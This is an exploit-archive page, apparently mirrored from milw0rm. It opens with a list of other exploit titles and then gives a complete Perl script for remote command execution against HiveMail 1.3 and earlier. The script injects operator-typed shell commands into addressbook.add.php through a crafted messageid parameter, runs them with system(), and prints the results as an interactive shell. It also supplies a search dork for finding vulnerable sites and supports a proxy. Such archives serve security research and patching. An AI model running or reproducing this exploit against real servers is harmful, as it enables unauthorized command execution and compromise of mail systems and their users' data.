477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
124 lines
3.8 KiB
Perl
Executable file
124 lines
3.8 KiB
Perl
Executable file
#!/usr/bin/perl #
|
|
# #
|
|
# HiveMail <= 1.3 remote command execution exploit #
|
|
# #
|
|
#################################################################################
|
|
# #
|
|
# Advisory: #
|
|
# http://www.gulftech.org/?node=research&article_id=00098-02102006 #
|
|
# #
|
|
# To get the hivesession: #
|
|
# log on hivemail with firefox then look at the hivesession number in the url. #
|
|
# (yes i know...) #
|
|
# #
|
|
#################################################################################
|
|
# #
|
|
# Dork: #
|
|
# "Already have an account?" "Enter your information below to log in." #
|
|
# #
|
|
########################################################################
|
|
# #
|
|
# coded by [Oo] #
|
|
# #
|
|
#################
|
|
|
|
|
|
require LWP::UserAgent;
|
|
use URI;
|
|
use Getopt::Long;
|
|
|
|
$| = 1; # fflush stdout after print
|
|
|
|
# Default options
|
|
# connection
|
|
my $basic_auth_user = '';
|
|
my $basic_auth_pass = '';
|
|
my $proxy = '';
|
|
my $proxy_user = '';
|
|
my $proxy_pass = '';
|
|
my $conn_timeout = 15;
|
|
|
|
# general
|
|
my $host;
|
|
my $session;
|
|
|
|
print "\n[i] HiveMail <= 1.3 remote command execution exploit\n";
|
|
print "[i] coded by [Oo]\n";
|
|
|
|
|
|
# read command line options
|
|
my $options = GetOptions (
|
|
|
|
#general options
|
|
'host=s' => \$host, # input host to test.
|
|
'session=s' => \$session, # input host to test.
|
|
# connection options
|
|
'basic_auth_user=s' => \$basic_auth_user,
|
|
'basic_auth_pass=s' => \$basic_auth_pass,
|
|
'proxy=s' => \$proxy,
|
|
'proxy_user=s' => \$proxy_user,
|
|
'proxy_pass=s' => \$proxy_pass,
|
|
'timeout=i' => \$conn_timeout);
|
|
|
|
# command line sanity check
|
|
&show_usage unless ($host);
|
|
&show_usage unless ($session);
|
|
|
|
# main loop
|
|
while (1){
|
|
print "\n[hivemail] ";
|
|
my $cmd = <STDIN>;
|
|
hm_xploit ($cmd);
|
|
}
|
|
|
|
exit (1);
|
|
|
|
#exploit
|
|
sub hm_xploit {
|
|
chomp (my $data = shift);
|
|
|
|
if ($data eq "exit") { print "\n[e] Exit!\n";exit(); }
|
|
|
|
my $exp = $host."addressbook.add.php?hivesession=".$session."&cmd=quick&messageid=\");echo%20\"start_er\";system(\$com);echo%20\"end_er\";\@d(\"&popid=1&com=".$data." ";
|
|
my $req = new HTTP::Request 'GET' => $exp;
|
|
|
|
|
|
my $ua = new LWP::UserAgent;
|
|
$ua->timeout($conn_timeout);
|
|
|
|
if ($basic_auth_user){
|
|
$req->authorization_basic($basic_auth_user, $basic_auth_pass)
|
|
}
|
|
if ($proxy){
|
|
$ua->proxy(['http'] => $proxy);
|
|
$req->proxy_authorization_basic($proxy_user, $proxy_pass);
|
|
}
|
|
|
|
|
|
my $res = $ua->request($req);
|
|
my $show = $res->content;
|
|
|
|
print"\n";
|
|
if ($show =~ m/start_er(.*?)end_er/ms) {
|
|
my $out = $1;
|
|
$out =~ s/^\s+|\s+$//gs;
|
|
if ($out) {
|
|
print "$out\n";
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
# show options
|
|
sub show_usage {
|
|
print "\n[*] Usage: ./hmail_exp.pl [options] [host] [session]\n";
|
|
print "[*] Options:\n";
|
|
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
|
|
print "\t--basic_auth_user, --basic_auth_pass\n";
|
|
print "\t--timeout \n";
|
|
print "[*] Example:\n";
|
|
print " hmail_exp.pl --host=http://127.0.0.1/hivemail/ --session=22ead72ecf6af376a801923466a23efa\n";
|
|
exit(1);
|
|
}
|
|
|
|
# milw0rm.com [2006-05-06]
|